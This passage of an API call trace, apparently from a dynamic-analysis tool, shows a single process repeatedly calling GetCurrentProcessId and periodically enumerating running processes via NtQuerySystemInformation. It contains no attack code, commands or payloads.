0xbf4 [0290.009] GetCurrentProcessId () returned 0xbf4 [0290.009] GetCurrentProcessId () returned 0xbf4 [0290.009] GetCurrentProcessId () returned 0xbf4 [0290.009] GetCurrentProcessId () returned 0xbf4 [0290.009] GetCurrentProcessId () returned 0xbf4 [0290.009] GetCurrentProcessId () returned 0xbf4 [0290.009] GetCurrentProcessId () returned 0xbf4 [0290.009] GetCurrentProcessId () returned 0xbf4 [0290.009] GetCurrentProcessId () returned 0xbf4 [0290.009] GetCurrentProcessId () returned 0xbf4 [0290.009] GetCurrentProcessId () returned 0xbf4 [0290.009] GetCurrentProcessId () returned 0xbf4 [0290.010] GetCurrentProcessId () returned 0xbf4 [0290.010] GetCurrentProcessId () returned 0xbf4 [0290.010] GetCurrentProcessId () returned 0xbf4 [0290.010] GetCurrentProcessId () returned 0xbf4 [0290.010] GetCurrentProcessId () returned 0xbf4 [0290.010] GetCurrentProcessId () returned 0xbf4 [0290.010] GetCurrentProcessId () returned 0xbf4 [0290.010] GetCurrentProcessId () returned 0xbf4 [0290.010] GetCurrentProcessId () returned 0xbf4 [0290.010] GetCurrentProcessId () returned 0xbf4 [0290.010] GetCurrentProcessId () returned 0xbf4 [0290.010] GetCurrentProcessId () returned 0xbf4 [0290.010] GetCurrentProcessId () returned 0xbf4 [0290.010] GetCurrentProcessId () returned 0xbf4 [0290.010] GetCurrentProcessId () returned 0xbf4 [0290.010] GetCurrentProcessId () returned 0xbf4 [0290.010] GetCurrentProcessId () returned 0xbf4 [0290.010] GetCurrentProcessId () returned 0xbf4 [0290.010] GetCurrentProcessId () returned 0xbf4 [0290.010] GetCurrentProcessId () returned 0xbf4 [0290.010] GetCurrentProcessId () returned 0xbf4 [0290.010] GetCurrentProcessId () returned 0xbf4 [0290.010] GetCurrentProcessId () returned 0xbf4 [0290.010] GetCurrentProcessId () returned 0xbf4 [0290.010] GetCurrentProcessId () returned 0xbf4 [0290.010] GetCurrentProcessId () returned 0xbf4 [0290.010] GetCurrentProcessId () returned 0xbf4 [0290.010] GetCurrentProcessId () returned 0xbf4 [0290.010] GetCurrentProcessId () returned 0xbf4 [0290.543] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x1289b270, Length=0x20000, ResultLength=0x1b7bebb0 | out: SystemInformation=0x1289b270, ResultLength=0x1b7bebb0*=0x1c890) returned 0x0 [0290.546] GetCurrentProcessId () returned 0xbf4 [0290.546] GetCurrentProcessId () returned 0xbf4 [0290.546] GetCurrentProcessId () returned 0xbf4 [0290.546] GetCurrentProcessId () returned 0xbf4 [0290.546] GetCurrentProcessId () returned 0xbf4 [0290.546] GetCurrentProcessId () returned 0xbf4 [0290.546] GetCurrentProcessId () returned 0xbf4 [0290.546] GetCurrentProcessId () returned 0xbf4 [0290.546] GetCurrentProcessId () returned 0xbf4 [0290.546] GetCurrentProcessId () returned 0xbf4 [0290.546] GetCurrentProcessId () returned 0xbf4 [0290.546] GetCurrentProcessId () returned 0xbf4 [0290.546] GetCurrentProcessId () returned 0xbf4 [0290.546] GetCurrentProcessId () returned 0xbf4 [0290.547] GetCurrentProcessId () returned 0xbf4 [0290.547] GetCurrentProcessId () returned 0xbf4 [0290.547] GetCurrentProcessId () returned 0xbf4 [0290.547] GetCurrentProcessId () returned 0xbf4 [0290.547] GetCurrentProcessId () returned 0xbf4 [0290.547] GetCurrentProcessId () returned 0xbf4 [0290.547] GetCurrentProcessId () returned 0xbf4 [0290.547] GetCurrentProcessId () returned 0xbf4 [0290.547] GetCurrentProcessId () returned 0xbf4 [0290.547] GetCurrentProcessId () returned 0xbf4 [0290.547] GetCurrentProcessId () returned 0xbf4 [0290.547] GetCurrentProcessId () returned 0xbf4 [0290.547] GetCurrentProcessId () returned 0xbf4 [0290.547] GetCurrentProcessId () returned 0xbf4 [0290.547] GetCurrentProcessId () returned 0xbf4 [0290.547] GetCurrentProcessId () returned 0xbf4 [0290.547] GetCurrentProcessId () returned 0xbf4 [0290.547] GetCurrentProcessId () returned 0xbf4 [0290.547] GetCurrentProcessId () returned 0xbf4 [0290.547] GetCurrentProcessId () returned 0xbf4 [0290.547] GetCurrentProcessId () returned 0xbf4 [0290.547] GetCurrentProcessId () returned 0xbf4 [0290.547] GetCurrentProcessId () returned 0xbf4 [0290.547] GetCurrentProcessId () returned 0xbf4 [0290.547] GetCurrentProcessId () returned 0xbf4 [0290.547] GetCurrentProcessId () returned 0xbf4 [0290.547] GetCurrentProcessId () returned 0xbf4 [0290.547] GetCurrentProcessId () returned 0xbf4 [0290.548] GetCurrentProcessId () returned 0xbf4 [0290.548] GetCurrentProcessId () returned 0xbf4 [0290.548] GetCurrentProcessId () returned 0xbf4 [0290.548] GetCurrentProcessId () returned 0xbf4 [0290.548] GetCurrentProcessId () returned 0xbf4 [0290.548] GetCurrentProcessId () returned 0xbf4 [0290.548] GetCurrentProcessId () returned 0xbf4 [0290.548] GetCurrentProcessId () returned 0xbf4 [0290.548] GetCurrentProcessId () returned 0xbf4 [0290.548] GetCurrentProcessId () returned 0xbf4 [0290.548] GetCurrentProcessId () returned 0xbf4 [0290.548] GetCurrentProcessId () returned 0xbf4 [0290.548] GetCurrentProcessId () returned 0xbf4 [0290.548] GetCurrentProcessId () returned 0xbf4 [0290.548] GetCurrentProcessId () returned 0xbf4 [0290.548] GetCurrentProcessId () returned 0xbf4 [0290.548] GetCurrentProcessId () returned 0xbf4 [0290.548] GetCurrentProcessId () returned 0xbf4 [0290.548] GetCurrentProcessId () returned 0xbf4 [0290.548] GetCurrentProcessId () returned 0xbf4 [0290.548] GetCurrentProcessId () returned 0xbf4 [0290.548] GetCurrentProcessId () returned 0xbf4 [0290.548] GetCurrentProcessId () returned 0xbf4 [0290.548] GetCurrentProcessId () returned 0xbf4 [0290.548] GetCurrentProcessId () returned 0xbf4 [0290.548] GetCurrentProcessId () returned 0xbf4 [0290.548] GetCurrentProcessId () returned 0xbf4 [0290.548] GetCurrentProcessId () returned 0xbf4 [0290.548] GetCurrentProcessId () returned 0xbf4 [0290.548] GetCurrentProcessId () returned 0xbf4 [0290.549] GetCurrentProcessId () returned 0xbf4 [0290.549] GetCurrentProcessId () returned 0xbf4 [0290.549] GetCurrentProcessId () returned 0xbf4 [0290.549] GetCurrentProcessId () returned 0xbf4 [0290.549] GetCurrentProcessId () returned 0xbf4 [0290.549] GetCurrentProcessId () returned 0xbf4 [0290.549] GetCurrentProcessId () returned 0xbf4 [0290.549] GetCurrentProcessId () returned 0xbf4 [0290.549] GetCurrentProcessId () returned 0xbf4 [0290.549] GetCurrentProcessId () returned 0xbf4 [0290.549] GetCurrentProcessId () returned 0xbf4 [0290.549] GetCurrentProcessId () returned 0xbf4 [0290.549] GetCurrentProcessId () returned 0xbf4 [0290.549] GetCurrentProcessId () returned 0xbf4 [0290.549] GetCurrentProcessId () returned 0xbf4 [0290.549] GetCurrentProcessId () returned 0xbf4 [0290.549] GetCurrentProcessId () returned 0xbf4 [0290.549] GetCurrentProcessId () returned 0xbf4 [0290.549] GetCurrentProcessId () returned 0xbf4 [0290.549] GetCurrentProcessId () returned 0xbf4 [0290.549] GetCurrentProcessId () returned 0xbf4 [0290.549] GetCurrentProcessId () returned 0xbf4 [0290.549] GetCurrentProcessId () returned 0xbf4 [0290.549] GetCurrentProcessId () returned 0xbf4 [0290.549] GetCurrentProcessId () returned 0xbf4 [0290.549] GetCurrentProcessId () returned 0xbf4 [0290.549] GetCurrentProcessId () returned 0xbf4 [0290.549] GetCurrentProcessId () returned 0xbf4 [0290.550] GetCurrentProcessId () returned 0xbf4 [0290.550] GetCurrentProcessId () returned 0xbf4 [0290.550] GetCurrentProcessId () returned 0xbf4 [0290.550] GetCurrentProcessId () returned 0xbf4 [0290.550] GetCurrentProcessId () returned 0xbf4 [0290.550] GetCurrentProcessId () returned 0xbf4 [0291.070] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x1289b270, Length=0x20000, ResultLength=0x1b7bebb0 | out: SystemInformation=0x1289b270, ResultLength=0x1b7bebb0*=0x1c8e0) returned 0x0 [0291.076] GetCurrentProcessId () returned 0xbf4 [0291.076] GetCurrentProcessId () returned 0xbf4 [0291.076] GetCurrentProcessId () returned 0xbf4 [0291.076] GetCurrentProcessId () returned 0xbf4 [0291.077] GetCurrentProcessId () returned 0xbf4 [0291.077] GetCurrentProcessId () returned 0xbf4 [0291.077] GetCurrentProcessId () returned 0xbf4 [0291.077] GetCurrentProcessId () returned 0xbf4 [0291.077] GetCurrentProcessId () returned 0xbf4 [0291.077] GetCurrentProcessId () returned 0xbf4 [0291.077] GetCurrentProcessId () returned 0xbf4 [0291.077] GetCurrentProcessId () returned 0xbf4 [0291.077] GetCurrentProcessId () returned 0xbf4 [0291.077] GetCurrentProcessId () returned 0xbf4 [0291.077] GetCurrentProcessId () returned 0xbf4 [0291.077] GetCurrentProcessId () returned 0xbf4 [0291.077] GetCurrentProcessId () returned 0xbf4 [0291.077] GetCurrentProcessId () returned 0xbf4 [0291.077] GetCurrentProcessId () returned 0xbf4 [0291.077] GetCurrentProcessId () returned 0xbf4 [0291.077] GetCurrentProcessId () returned 0xbf4 [0291.077] GetCurrentProcessId () returned 0xbf4 [0291.077] GetCurrentProcessId () returned 0xbf4 [0291.077] GetCurrentProcessId () returned 0xbf4 [0291.077] GetCurrentProcessId () returned 0xbf4 [0291.077] GetCurrentProcessId () returned 0xbf4 [0291.077] GetCurrentProcessId () returned 0xbf4 [0291.077] GetCurrentProcessId () returned 0xbf4 [0291.077] GetCurrentProcessId () returned 0xbf4 [0291.077] GetCurrentProcessId () returned 0xbf4 [0291.077] GetCurrentProcessId () returned 0xbf4 [0291.077] GetCurrentProcessId () returned 0xbf4 [0291.078] GetCurrentProcessId () returned 0xbf4 [0291.078] GetCurrentProcessId () returned 0xbf4 [0291.078] GetCurrentProcessId () returned 0xbf4 [0291.078] GetCurrentProcessId () returned 0xbf4 [0291.078] GetCurrentProcessId () returned 0xbf4 [0291.078] GetCurrentProcessId () returned 0xbf4 [0291.078] GetCurrentProcessId () returned 0xbf4 [0291.078] GetCurrentProcessId () returned 0xbf4 [0291.078] GetCurrentProcessId () returned 0xbf4 [0291.078] GetCurrentProcessId () returned 0xbf4 [0291.078] GetCurrentProcessId () returned 0xbf4 [0291.078] GetCurrentProcessId () returned 0xbf4 [0291.078] GetCurrentProcessId () returned 0xbf4 [0291.078] GetCurrentProcessId () returned 0xbf4 [0291.078] GetCurrentProcessId () returned 0xbf4 [0291.078] GetCurrentProcessId () returned 0xbf4 [0291.078] GetCurrentProcessId () returned 0xbf4 [0291.078] GetCurrentProcessId () returned 0xbf4 [0291.078] GetCurrentProcessId () returned 0xbf4 [0291.078] GetCurrentProcessId () returned 0xbf4 [0291.078] GetCurrentProcessId () returned 0xbf4 [0291.078] GetCurrentProcessId () returned 0xbf4 [0291.078] GetCurrentProcessId () returned 0xbf4 [0291.078] GetCurrentProcessId () returned 0xbf4 [0291.078] GetCurrentProcessId () returned 0xbf4 [0291.078] GetCurrentProcessId () returned 0xbf4 [0291.078] GetCurrentProcessId () returned 0xbf4 [0291.078] GetCurrentProcessId () returned 0xbf4 [0291.078] GetCurrentProcessId () returned 0xbf4 [0291.079] GetCurrentProcessId () returned 0xbf4 [0291.079] GetCurrentProcessId () returned 0xbf4 [0291.079] GetCurrentProcessId () returned 0xbf4 [0291.079] GetCurrentProcessId () returned 0xbf4 [0291.079] GetCurrentProcessId () returned 0xbf4 [0291.079] GetCurrentProcessId () returned 0xbf4 [0291.079] GetCurrentProcessId () returned 0xbf4 [0291.079] GetCurrentProcessId () returned 0xbf4 [0291.079] GetCurrentProcessId () returned 0xbf4 [0291.079] GetCurrentProcessId () returned 0xbf4 [0291.079] GetCurrentProcessId () returned 0xbf4 [0291.079] GetCurrentProcessId () returned 0xbf4 [0291.079] GetCurrentProcessId () returned 0xbf4 [0291.079] GetCurrentProcessId () returned 0xbf4 [0291.079] GetCurrentProcessId () returned 0xbf4 [0291.079] GetCurrentProcessId () returned 0xbf4 [0291.079] GetCurrentProcessId () returned 0xbf4 [0291.079] GetCurrentProcessId () returned 0xbf4 [0291.079] GetCurrentProcessId () returned 0xbf4 [0291.079] GetCurrentProcessId () returned 0xbf4 [0291.079] GetCurrentProcessId () returned 0xbf4 [0291.079] GetCurrentProcessId () returned 0xbf4 [0291.079] GetCurrentProcessId () returned 0xbf4 [0291.079] GetCurrentProcessId () returned 0xbf4 [0291.079] GetCurrentProcessId () returned 0xbf4 [0291.079] GetCurrentProcessId () returned 0xbf4 [0291.079] GetCurrentProcessId () returned 0xbf4 [0291.079] GetCurrentProcessId () returned 0xbf4 [0291.079] GetCurrentProcessId () returned 0xbf4 [0291.080] GetCurrentProcessId () returned 0xbf4 [0291.080] GetCurrentProcessId () returned 0xbf4 [0291.080] GetCurrentProcessId () returned 0xbf4 [0291.080] GetCurrentProcessId () returned 0xbf4 [0291.080] GetCurrentProcessId () returned 0xbf4 [0291.080] GetCurrentProcessId () returned 0xbf4 [0291.080] GetCurrentProcessId () returned 0xbf4 [0291.080] GetCurrentProcessId () returned 0xbf4 [0291.080] GetCurrentProcessId () returned 0xbf4 [0291.080] GetCurrentProcessId () returned 0xbf4 [0291.080] GetCurrentProcessId () returned 0xbf4 [0291.080] GetCurrentProcessId () returned 0xbf4 [0291.080] GetCurrentProcessId () returned 0xbf4 [0291.080] GetCurrentProcessId () returned 0xbf4 [0291.080] GetCurrentProcessId () returned 0xbf4 [0291.080] GetCurrentProcessId () returned 0xbf4 [0291.630] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x1289b270, Length=0x20000, ResultLength=0x1b7bebb0 | out: SystemInformation=0x1289b270, ResultLength=0x1b7bebb0*=0x1c8e0) returned 0x0 [0291.645] GetCurrentProcessId () returned 0xbf4 [0291.645] GetCurrentProcessId () returned 0xbf4 [0291.645] GetCurrentProcessId () returned 0xbf4 [0291.645] GetCurrentProcessId () returned 0xbf4 [0291.645] GetCurrentProcessId () returned 0xbf4 [0291.645] GetCurrentProcessId () returned 0xbf4 [0291.645] GetCurrentProcessId () returned 0xbf4 [0291.645] GetCurrentProcessId () returned 0xbf4 [0291.645] GetCurrentProcessId () returned 0xbf4 [0291.645] GetCurrentProcessId () returned 0xbf4 [0291.645] GetCurrentProcessId () returned 0xbf4 [0291.645] GetCurrentProcessId () returned 0xbf4 [0291.645] GetCurrentProcessId () returned 0xbf4 [0291.645] GetCurrentProcessId () returned 0xbf4 [0291.645] GetCurrentProcessId () returned 0xbf4 [0291.645] GetCurrentProcessId () returned 0xbf4 [0291.645] GetCurrentProcessId () returned 0xbf4 [0291.645] GetCurrentProcessId () returned 0xbf4 [0291.645] GetCurrentProcessId () returned 0xbf4 [0291.666] GetCurrentProcessId () returned 0xbf4 [0291.666] GetCurrentProcessId () returned 0xbf4 [0291.666] GetCurrentProcessId () returned 0xbf4 [0291.666] GetCurrentProcessId () returned 0xbf4 [0291.666] GetCurrentProcessId () returned 0xbf4 [0291.666] GetCurrentProcessId () returned 0xbf4 [0291.666] GetCurrentProcessId () returned 0xbf4 [0291.666] GetCurrentProcessId () returned 0xbf4 [0291.666] GetCurrentProcessId () returned 0xbf4 [0291.666] GetCurrentProcessId () returned 0xbf4 [0291.666] GetCurrentProcessId () returned 0xbf4 [0291.666] GetCurrentProcessId () returned 0xbf4 [0291.666] GetCurrentProcessId () returned 0xbf4 [0291.666] GetCurrentProcessId () returned 0xbf4 [0291.666] GetCurrentProcessId () returned 0xbf4 [0291.666] GetCurrentProcessId () returned 0xbf4 [0291.666] GetCurrentProcessId () returned 0xbf4 [0291.666] GetCurrentProcessId () returned 0xbf4 [0291.667] GetCurrentProcessId () returned 0xbf4 [0291.667] GetCurrentProcessId () returned 0xbf4 [0291.667] GetCurrentProcessId () returned 0xbf4 [0291.667] GetCurrentProcessId () returned 0xbf4 [0291.667] GetCurrentProcessId () returned 0xbf4 [0291.667] GetCurrentProcessId () returned 0xbf4 [0291.667] GetCurrentProcessId () returned 0xbf4 [0291.667] GetCurrentProcessId () returned 0xbf4 [0291.667] GetCurrentProcessId () returned 0xbf4 [0291.667] GetCurrentProcessId () returned 0xbf4 [0291.667] GetCurrentProcessId () returned 0xbf4 [0291.667] GetCurrentProcessId () returned 0xbf4 [0291.667] GetCurrentProcessId () returned 0xbf4 [0291.667] GetCurrentProcessId () returned 0xbf4 [0291.667] GetCurrentProcessId () returned 0xbf4 [0291.667] GetCurrentProcessId () returned 0xbf4 [0291.667] GetCurrentProcessId () returned 0xbf4 [0291.667] GetCurrentProcessId () returned 0xbf4 [0291.667] GetCurrentProcessId () returned 0xbf4 [0291.667] GetCurrentProcessId () returned 0xbf4 [0291.667] GetCurrentProcessId () returned 0xbf4 [0291.667] GetCurrentProcessId () returned 0xbf4 [0291.667] GetCurrentProcessId () returned 0xbf4 [0291.667] GetCurrentProcessId () returned 0xbf4 [0291.667] GetCurrentProcessId () returned 0xbf4 [0291.667] GetCurrentProcessId () returned 0xbf4 [0291.667] GetCurrentProcessId () returned 0xbf4 [0291.667] GetCurrentProcessId () returned 0xbf4 [0291.667] GetCurrentProcessId () returned 0xbf4 [0291.667] GetCurrentProcessId () returned 0xbf4 [0291.667] GetCurrentProcessId () returned 0xbf4 [0291.667] GetCurrentProcessId () returned 0xbf4 [0291.667] GetCurrentProcessId () returned 0xbf4 [0291.667] GetCurrentProcessId () returned 0xbf4 [0291.667] GetCurrentProcessId () returned 0xbf4 [0291.667] GetCurrentProcessId () returned 0xbf4 [0291.667] GetCurrentProcessId () returned 0xbf4 [0291.668] GetCurrentProcessId () returned 0xbf4 [0291.668] GetCurrentProcessId () returned 0xbf4 [0291.668] GetCurrentProcessId () returned 0xbf4 [0291.668] GetCurrentProcessId () returned 0xbf4 [0291.668] GetCurrentProcessId () returned 0xbf4 [0291.668] GetCurrentProcessId () returned 0xbf4 [0291.668] GetCurrentProcessId () returned 0xbf4 [0291.668] GetCurrentProcessId () returned 0xbf4 [0291.668] GetCurrentProcessId () returned 0xbf4 [0291.668] GetCurrentProcessId () returned 0xbf4 [0291.668] GetCurrentProcessId () returned 0xbf4 [0291.668] GetCurrentProcessId () returned 0xbf4 [0291.668] GetCurrentProcessId () returned 0xbf4 [0291.668] GetCurrentProcessId () returned 0xbf4 [0291.668] GetCurrentProcessId () returned 0xbf4 [0291.668] GetCurrentProcessId () returned 0xbf4 [0291.668] GetCurrentProcessId () returned 0xbf4 [0291.668] GetCurrentProcessId () returned 0xbf4 [0291.668] GetCurrentProcessId () returned 0xbf4 [0291.668] GetCurrentProcessId () returned 0xbf4 [0291.668] GetCurrentProcessId () returned 0xbf4 [0291.668] GetCurrentProcessId () returned 0xbf4 [0291.668] GetCurrentProcessId () returned 0xbf4 [0291.668] GetCurrentProcessId () returned 0xbf4 [0291.668] GetCurrentProcessId () returned 0xbf4 [0291.668] GetCurrentProcessId () returned 0xbf4 [0291.668] GetCurrentProcessId () returned 0xbf4 [0291.668] GetCurrentProcessId () returned 0xbf4 [0291.668] GetCurrentProcessId () returned 0xbf4 [0291.668] GetCurrentProcessId () returned 0xbf4 [0291.668] GetCurrentProcessId () returned 0xbf4 [0291.668] GetCurrentProcessId () returned 0xbf4 [0292.203] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x1289b270, Length=0x20000, ResultLength=0x1b7bebb0 | out: SystemInformation=0x1289b270, ResultLength=0x1b7bebb0*=0x1c8e0) returned 0x0 [0292.210] GetCurrentProcessId () returned 0xbf4 [0292.210] GetCurrentProcessId () returned 0xbf4 [0292.210] GetCurrentProcessId () returned 0xbf4 [0292.210] GetCurrentProcessId () returned 0xbf4 [0292.210] GetCurrentProcessId () returned 0xbf4 [0292.210] GetCurrentProcessId () returned 0xbf4 [0292.210] GetCurrentProcessId () returned 0xbf4 [0292.210] GetCurrentProcessId () returned 0xbf4 [0292.210] GetCurrentProcessId () returned 0xbf4 [0292.210] GetCurrentProcessId () returned 0xbf4 [0292.210] GetCurrentProcessId () returned 0xbf4 [0292.210] GetCurrentProcessId () returned 0xbf4 [0292.210] GetCurrentProcessId () returned 0xbf4 [0292.210] GetCurrentProcessId () returned 0xbf4 [0292.210] GetCurrentProcessId () returned 0xbf4 [0292.210] GetCurrentProcessId () returned 0xbf4 [0292.210] GetCurrentProcessId () returned 0xbf4 [0292.210] GetCurrentProcessId () returned 0xbf4 [0292.210] GetCurrentProcessId () returned 0xbf4 [0292.210] GetCurrentProcessId () returned 0xbf4 [0292.210] GetCurrentProcessId () returned 0xbf4 [0292.210] GetCurrentProcessId () returned 0xbf4 [0292.210] GetCurrentProcessId () returned 0xbf4 [0292.210] GetCurrentProcessId () returned 0xbf4 [0292.210] GetCurrentProcessId () returned 0xbf4 [0292.210] GetCurrentProcessId () returned 0xbf4 [0292.210] GetCurrentProcessId () returned 0xbf4 [0292.210] GetCurrentProcessId () returned 0xbf4 [0292.210] GetCurrentProcessId () returned 0xbf4 [0292.210] GetCurrentProcessId () returned 0xbf4 [0292.210] GetCurrentProcessId () returned 0xbf4 [0292.210] GetCurrentProcessId () returned 0xbf4 [0292.211] GetCurrentProcessId () returned 0xbf4 [0292.211] GetCurrentProcessId () returned 0xbf4 [0292.211] GetCurrentProcessId () returned 0xbf4 [0292.211] GetCurrentProcessId () returned 0xbf4 [0292.211] GetCurrentProcessId () returned 0xbf4 [0292.211] GetCurrentProcessId () returned 0xbf4 [0292.211] GetCurrentProcessId () returned 0xbf4 [0292.211] GetCurrentProcessId () returned 0xbf4 [0292.211] GetCurrentProcessId () returned 0xbf4 [0292.211] GetCurrentProcessId () returned 0xbf4 [0292.211] GetCurrentProcessId () returned 0xbf4 [0292.211] GetCurrentProcessId () returned 0xbf4 [0292.211] GetCurrentProcessId () returned 0xbf4 [0292.211] GetCurrentProcessId () returned 0xbf4 [0292.211] GetCurrentProcessId () returned 0xbf4 [0292.211] GetCurrentProcessId () returned 0xbf4 [0292.211] GetCurrentProcessId () returned 0xbf4 [0292.211] GetCurrentProcessId () returned 0xbf4 [0292.211] GetCurrentProcessId () returned 0xbf4 [0292.211] GetCurrentProcessId () returned 0xbf4 [0292.211] GetCurrentProcessId () returned 0xbf4 [0292.211] GetCurrentProcessId () returned 0xbf4 [0292.211] GetCurrentProcessId () returned 0xbf4 [0292.211] GetCurrentProcessId () returned 0xbf4 [0292.211] GetCurrentProcessId () returned 0xbf4 [0292.211] GetCurrentProcessId () returned 0xbf4 [0292.211] GetCurrentProcessId () returned 0xbf4 [0292.211] GetCurrentProcessId () returned 0xbf4 [0292.211] GetCurrentProcessId () returned 0xbf4 [0292.211] GetCurrentProcessId () returned 0xbf4 [0292.211] GetCurrentProcessId () returned 0xbf4 [0292.211] GetCurrentProcessId () returned 0xbf4 [0292.211] GetCurrentProcessId () returned 0xbf4 [0292.211] GetCurrentProcessId () returned 0xbf4 [0292.211] GetCurrentProcessId () returned 0xbf4 [0292.211] GetCurrentProcessId () returned 0xbf4 [0292.211] GetCurrentProcessId () returned 0xbf4 [0292.212] GetCurrentProcessId () returned 0xbf4 [0292.212] GetCurrentProcessId () returned 0xbf4 [0292.212] GetCurrentProcessId () returned 0xbf4 [0292.212] GetCurrentProcessId () returned 0xbf4 [0292.212] GetCurrentProcessId () returned 0xbf4 [0292.212] GetCurrentProcessId () returned 0xbf4 [0292.212] GetCurrentProcessId () returned 0xbf4 [0292.212] GetCurrentProcessId () returned 0xbf4 [0292.212] GetCurrentProcessId () returned 0xbf4 [0292.212] GetCurrentProcessId () returned 0xbf4 [0292.212] GetCurrentProcessId () returned 0xbf4 [0292.212] GetCurrentProcessId () returned 0xbf4 [0292.212] GetCurrentProcessId () returned 0xbf4 [0292.212] GetCurrentProcessId () returned 0xbf4 [0292.212] GetCurrentProcessId () returned 0xbf4 [0292.212] GetCurrentProcessId () returned 0xbf4 [0292.212] GetCurrentProcessId () returned 0xbf4 [0292.212] GetCurrentProcessId () returned 0xbf4 [0292.212] GetCurrentProcessId () returned 0xbf4 [0292.212] GetCurrentProcessId () returned 0xbf4 [0292.212] GetCurrentProcessId () returned 0xbf4 [0292.212] GetCurrentProcessId () returned 0xbf4 [0292.212] GetCurrentProcessId () returned 0xbf4 [0292.212] GetCurrentProcessId () returned 0xbf4 [0292.212] GetCurrentProcessId () returned 0xbf4 [0292.212] GetCurrentProcessId () returned 0xbf4 [0292.212] GetCurrentProcessId () returned 0xbf4 [0292.212] GetCurrentProcessId () returned 0xbf4 [0292.212] GetCurrentProcessId () returned 0xbf4 [0292.212] GetCurrentProcessId () returned 0xbf4 [0292.212] GetCurrentProcessId () returned 0xbf4 [0292.212] GetCurrentProcessId () returned 0xbf4 [0292.212] GetCurrentProcessId () returned 0xbf4 [0292.213] GetCurrentProcessId () returned 0xbf4 [0292.213] GetCurrentProcessId () returned 0xbf4 [0292.213] GetCurrentProcessId () returned 0xbf4 [0292.213] GetCurrentProcessId () returned 0xbf4 [0292.759] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x1289b270, Length=0x20000, ResultLength=0x1b7bebb0 | out: SystemInformation=0x1289b270, ResultLength=0x1b7bebb0*=0x1c8e0) returned 0x0 [0292.764] GetCurrentProcessId () returned 0xbf4 [0292.764] GetCurrentProcessId () returned 0xbf4 [0292.764] GetCurrentProcessId () returned 0xbf4 [0292.764] GetCurrentProcessId () returned 0xbf4 [0292.764] GetCurrentProcessId () returned 0xbf4 [0292.764] GetCurrentProcessId () returned 0xbf4 [0292.764] GetCurrentProcessId () returned 0xbf4 [0292.764] GetCurrentProcessId () returned 0xbf4 [0292.764] GetCurrentProcessId () returned 0xbf4 [0292.764] GetCurrentProcessId () returned 0xbf4 [0292.764] GetCurrentProcessId () returned 0xbf4 [0292.764] GetCurrentProcessId () returned 0xbf4 [0292.764] GetCurrentProcessId () returned 0xbf4 [0292.764] GetCurrentProcessId () returned 0xbf4 [0292.764] GetCurrentProcessId () returned 0xbf4 [0292.764] GetCurrentProcessId () returned 0xbf4 [0292.765] GetCurrentProcessId () returned 0xbf4 [0292.765] GetCurrentProcessId () returned 0xbf4 [0292.765] GetCurrentProcessId () returned 0xbf4 [0292.765] GetCurrentProcessId () returned 0xbf4 [0292.765] GetCurrentProcessId () returned 0xbf4 [0292.765] GetCurrentProcessId () returned 0xbf4 [0292.765] GetCurrentProcessId () returned 0xbf4 [0292.765] GetCurrentProcessId () returned 0xbf4 [0292.766] GetCurrentProcessId () returned 0xbf4 [0292.766] GetCurrentProcessId () returned 0xbf4 [0292.766] GetCurrentProcessId () returned 0xbf4 [0292.766] GetCurrentProcessId () returned 0xbf4 [0292.766] GetCurrentProcessId () returned 0xbf4 [0292.766] GetCurrentProcessId () returned 0xbf4 [0292.766] GetCurrentProcessId () returned 0xbf4 [0292.766] GetCurrentProcessId () returned 0xbf4 [0292.766] GetCurrentProcessId () returned 0xbf4 [0292.766] GetCurrentProcessId () returned 0xbf4 [0292.766] GetCurrentProcessId () returned 0xbf4 [0292.766] GetCurrentProcessId () returned 0xbf4 [0292.766] GetCurrentProcessId () returned 0xbf4 [0292.767] GetCurrentProcessId () returned 0xbf4 [0292.767] GetCurrentProcessId () returned 0xbf4 [0292.767] GetCurrentProcessId () returned 0xbf4 [0292.767] GetCurrentProcessId () returned 0xbf4 [0292.767] GetCurrentProcessId () returned 0xbf4 [0292.767] GetCurrentProcessId () returned 0xbf4 [0292.767] GetCurrentProcessId () returned 0xbf4 [0292.767] GetCurrentProcessId () returned 0xbf4 [0292.767] GetCurrentProcessId () returned 0xbf4 [0292.767] GetCurrentProcessId () returned 0xbf4 [0292.767] GetCurrentProcessId () returned 0xbf4 [0292.767] GetCurrentProcessId () returned 0xbf4 [0292.767] GetCurrentProcessId () returned 0xbf4 [0292.767] GetCurrentProcessId () returned 0xbf4 [0292.767] GetCurrentProcessId () returned 0xbf4 [0292.767] GetCurrentProcessId () returned 0xbf4 [0292.767] GetCurrentProcessId () returned 0xbf4 [0292.767] GetCurrentProcessId () returned 0xbf4 [0292.767] GetCurrentProcessId () returned 0xbf4 [0292.767] GetCurrentProcessId () returned 0xbf4 [0292.767] GetCurrentProcessId () returned 0xbf4 [0292.767] GetCurrentProcessId () returned 0xbf4 [0292.767] GetCurrentProcessId () returned 0xbf4 [0292.767] GetCurrentProcessId () returned 0xbf4 [0292.767] GetCurrentProcessId () returned 0xbf4 [0292.767] GetCurrentProcessId () returned 0xbf4 [0292.767] GetCurrentProcessId () returned 0xbf4 [0292.768] GetCurrentProcessId () returned 0xbf4 [0292.768] GetCurrentProcessId () returned 0xbf4 [0292.768] GetCurrentProcessId () returned 0xbf4 [0292.768] GetCurrentProcessId () returned 0xbf4 [0292.768] GetCurrentProcessId () returned 0xbf4 [0292.768] GetCurrentProcessId () returned 0xbf4 [0292.768] GetCurrentProcessId () returned 0xbf4 [0292.768] GetCurrentProcessId () returned 0xbf4 [0292.768] GetCurrentProcessId () returned 0xbf4 [0292.768] GetCurrentProcessId () returned 0xbf4 [0292.768] GetCurrentProcessId () returned 0xbf4 [0292.768] GetCurrentProcessId () returned 0xbf4 [0292.768] GetCurrentProcessId () returned 0xbf4 [0292.768] GetCurrentProcessId () returned 0xbf4 [0292.768] GetCurrentProcessId () returned 0xbf4 [0292.768] GetCurrentProcessId () returned 0xbf4 [0292.768] GetCurrentProcessId () returned 0xbf4 [0292.768] GetCurrentProcessId () returned 0xbf4 [0292.768] GetCurrentProcessId () returned 0xbf4 [0292.768] GetCurrentProcessId () returned 0xbf4 [0292.768] GetCurrentProcessId () returned 0xbf4 [0292.768] GetCurrentProcessId () returned 0xbf4 [0292.768] GetCurrentProcessId () returned 0xbf4 [0292.768] GetCurrentProcessId () returned 0xbf4 [0292.768] GetCurrentProcessId () 